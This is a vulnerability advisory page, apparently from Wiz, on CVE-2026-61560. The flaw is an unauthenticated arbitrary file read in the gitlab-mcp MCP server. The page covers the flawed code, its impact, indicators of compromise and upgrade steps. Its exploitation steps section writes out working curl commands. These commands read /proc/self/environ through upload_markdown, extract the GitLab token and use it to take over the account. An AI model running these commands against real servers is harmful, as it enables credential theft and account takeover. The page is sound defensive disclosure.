Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-61560
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-61560 is a critical unauthenticated arbitrary file read vulnerability in @zereight/mcp-gitlab (the gitlab-mcp npm package), a Model Context Protocol (MCP) server for GitLab. When the SSE transport mode (SSE=true) is enabled — the default for Docker deployments — all MCP tools are exposed without any authentication, and the upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter. This allows any network-reachable unauthenticated attacker to exfiltrate the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. All versions prior to 2.1.27 are affected. The vulnerability was first published on June 22, 2026, and assigned CVE-2026-61560 with a CVSS v3.1 base score of 9.8 (Critical) (Github Advisory, Security Advisory).

Technical details

Two vulnerabilities chain together to enable full account takeover (CWE-22 — Path Traversal). First, the /sse and /messages HTTP endpoints in SSE mode (src/index.ts:7350-7388) have zero authentication middleware; REMOTE_AUTHORIZATION=true is explicitly incompatible with SSE mode, leaving no built-in mechanism to add per-request auth. Second, the upload_markdown tool's markdownUpload function (src/index.ts:5461-5503) calls fs.readFileSync(filePath) directly on user-supplied input with no path validation — the Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no restrictions. The Docker image compounds the risk: the Dockerfile has no USER directive (process runs as root), and docker-compose.yaml binds port 3002 to 0.0.0.0 by default, exposing the unauthenticated endpoint to the network (Security Advisory, Github Advisory).

Impact

An unauthenticated attacker with network access to port 3002 can read any file accessible to the server process — including /proc/self/environ (containing GITLAB_PERSONAL_ACCESS_TOKEN in plaintext), /etc/shadow (system password hashes), /proc/self/cmdline, /app/build/index.js (full application source), and OAuth token files. The stolen Personal Access Token grants complete access to the GitLab instance as the token owner, including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. Because the Docker container runs as root, the scope of readable files extends to the entire container filesystem. This is the default configuration for Docker deployments, meaning a large proportion of deployments are affected out-of-the-box (Security Advisory, Github Advisory).

Exploitability

A detailed proof-of-concept exploit with concrete curl commands is publicly available in the GitHub Security Advisory, demonstrating the full attack chain from unauthenticated SSE session establishment to GitLab account takeover (Security Advisory). The attack is fully automatable, requires no credentials or user interaction, and is network-accessible — NVD SSVC classifies exploitation as poc with automatable: yes and technicalImpact: total. The EPSS score is approximately 0.007 (0.7%), and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing. No threat actor attribution has been reported (Github Advisory).

Exploitation steps

  1. Reconnaissance: Identify network-reachable instances of @zereight/mcp-gitlab prior to version 2.1.27 running with SSE=true (default Docker config) on port 3002 using network scanners or Shodan.
  2. Establish unauthenticated SSE session: Send a GET request to the /sse endpoint with no authentication headers and capture the sessionId from the SSE stream response:
    SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')
  3. Enumerate writable GitLab projects (optional): Invoke the list_projects tool via JSON-RPC to identify a project ID the configured PAT has write access to:
    curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
      -H "Content-Type: application/json" \
      -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"list_projects","arguments":{"owned":true}}}'
  4. Invoke upload_markdown with arbitrary file path: Send a JSON-RPC request calling the upload_markdown tool with file_path set to /proc/self/environ to read and exfiltrate the environment variables:
    curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
      -H "Content-Type: application/json" \
      -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"upload_markdown","arguments":{"project_id":"<PROJECT_ID>","file_path":"/proc/self/environ"}}}'
  5. Retrieve uploaded file from GitLab: The response contains a GitLab upload URL (e.g., {"markdown": "![environ](/uploads/abc123/environ)", "url": "/uploads/abc123/environ"}). Fetch the file:
    curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"
  6. Extract the stolen PAT: Parse the NUL-separated environment variables file to extract GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx.
  7. Achieve full GitLab account takeover: Use the stolen PAT to authenticate to the GitLab API and access all resources:
    curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"
    (Security Advisory, Github Advisory)

Indicators of compromise

  • Network: Unexpected inbound HTTP GET requests to /sse on port 3002 from external or untrusted IP addresses; HTTP POST requests to /messages?sessionId=<id> with JSON-RPC payloads referencing upload_markdown or list_projects tools from unauthenticated clients.
  • Logs: HTTP access logs showing requests to /sse and /messages endpoints without Authorization headers from non-loopback source IPs; JSON-RPC calls with file_path values pointing to sensitive paths such as /proc/self/environ, /etc/shadow, /proc/self/cmdline, or /app/build/index.js.
  • GitLab Audit Logs: Unexpected file uploads to GitLab projects via POST /projects/:id/uploads containing filenames like environ, shadow, or cmdline; API calls authenticated with the server's PAT from unexpected IP addresses or user agents.
  • File System: Presence of uploaded artifacts in GitLab project upload directories containing environment variable content or system file data.
  • Credential Indicators: GitLab Personal Access Token (glpat-*) appearing in GitLab audit logs used from IP addresses not associated with the MCP server's legitimate clients; unexpected API activity under the token owner's account. (Security Advisory)

Mitigation and workarounds

Primary remediation: Upgrade @zereight/mcp-gitlab to version 2.1.27 or later, which includes two security fixes: PR #554 adds an SSE authentication guard requiring SSE_AUTH_TOKEN for non-loopback SSE deployments, and PR #482 blocks file_path-based uploads in remote mode (PR #554, PR #482).

Configuration steps after upgrading:

  • Set the SSE_AUTH_TOKEN environment variable and require Authorization: Bearer <token> headers on all SSE clients.
  • Bind the Docker port to 127.0.0.1:3002 instead of 0.0.0.0:3002 to restrict network exposure.
  • Add a USER node directive to the Dockerfile to prevent the process from running as root.

Immediate workarounds if upgrade is not possible:

  • Disable SSE mode (SSE=false) if not required.
  • Implement network-level firewall rules to restrict access to port 3002 to trusted hosts only.
  • Rotate any GITLAB_PERSONAL_ACCESS_TOKEN values that may have been exposed and review GitLab audit logs for unauthorized activity. (Github Advisory, Security Advisory)

Community reactions

The vulnerability was reported by security researcher gil-maman-p and analyzed by hodaya-prz, with the maintainer (zereight) responding promptly by merging fixes in PRs #482 and #554 and publishing changelog documentation in PR #622 (PR #622). The maintainer confirmed the runtime mitigations shipped in v2.1.27 and requested reporter verification before closing the advisory. The vulnerability was noted in automated CVE daily brief tooling on September 16, 2026, and picked up by threat intelligence aggregators including radar.offseq.com and ionix.io. A Mastodon post referencing the CVE was observed shortly after public disclosure.

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-61560CRITICAL9.8
  • JavaScript logoJavaScript
  • @zereight/mcp-gitlab
NoYesSep 15, 2026
CVE-2026-61568CRITICAL9.6
  • JavaScript logoJavaScript
  • @zereight/mcp-gitlab
NoYesSep 15, 2026
CVE-2026-61559CRITICAL9.6
  • JavaScript logoJavaScript
  • @zereight/mcp-gitlab
NoYesSep 15, 2026
CVE-2026-63671HIGH8.1
  • JavaScript logoJavaScript
  • @nuxtjs/mdc
NoYesSep 16, 2026
CVE-2026-68904HIGH7
  • JavaScript logoJavaScript
  • node-opcua
NoYesSep 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management